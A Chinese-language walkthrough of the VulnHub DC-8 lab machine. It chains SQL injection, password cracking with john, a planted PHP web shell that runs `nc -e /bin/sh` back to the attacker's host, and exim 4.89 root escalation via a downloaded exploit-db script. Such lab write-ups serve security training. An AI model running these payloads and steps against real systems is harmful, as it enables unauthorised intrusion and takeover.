vulnhub DC-8 靶机

DC - 8

前言:

攻击机: kali 192.168.56.132

靶机: DC 8 192.168.56.149

过关条件 :得到root权限后得到falg。

打到第八个了 准备把九个都打一下 然后就总结下。再去好好打打红日那个靶场 第一个红日都打了好久了。。。。。

内网信息探测
还是nmap arp-scan 一把梭吧。
确定了靶机IP和开放端口。
image-20230323192016985
SQL 注入

开放了80端口直接访问 进去后随便点 发现可能存在sql注入

image-20230323192148866

sqlmap直接一把梭。

image-20230323192342983

得到账号密码 但是密码加密的 将密码复制下来写入文本文件 然后使用john暴破

john --wordlist=/usr/share/john/password.lst --rules dc8.txt
image-20230323192448841
Get shell

不知道登录路径 使用dirsearch 扫一下

image-20230323192616695
image-20230323192636386

访问路径 使用john账号密码可以登录

image-20230323192733188

到这个路径下写入反弹shell

image-20230323192816460
<p>demon</p>

<?php

system("nc -e /bin/sh 192.168.56.132 4444");

?>

需要使用php加载,保存后去 kali监听端口。

image-20230323192937576

然后到主界面提交数据

image-20230323193028865

成功反射到kali的端口 然后需要用python得到完整的shell环境。

python -c 'import pty;pty.spawn("/bin/bash")'

得到完整的shell环境image-20230323193158885

权限提升
find / -perm -u=s -type f 2>/dev/null
image-20230323193314251

看到exim 4可能存在提权漏洞。

exim4 --version
//版本为 4.89 满足条件
image-20230323193421415
searchsploit exim 4    //漏洞库查找提权文件。

查看对应脚本

cat /usr/share/exploitdb/exploits/linux/local/46996.sh
image-20230323193554146

copy 到桌面

cp /usr/share/exploitdb/exploits/linux/local/46996.sh /root/桌面/DC8shell.sh

修改文件

vim DC8shell.sh

到这里按键盘esc
然后按键盘shift+:
输入set ff=unix

python开启http服务

python -m http.server 8899

访问kali本机的IP:8899

image-20230323193819540

复制DC 8的链接

到 tmp目录下使用wget下载脚本

cd /tmp
wget http://192.168.56.132:8899/DC8shell.sh

image-20230323194013813
chmod 777 DC8shell.sh
./DC8shell.sh -m netcat

成功提权

image-20230323194124656

然后到 /root目录下得到 flag

image-20230323194155924
总结

信息收集->sql注入->得到john账号密码->找写入点getshell->权限提升 使用的exim 4提权。

Related Issues not found

Please contact @wghahaha to initialize the comment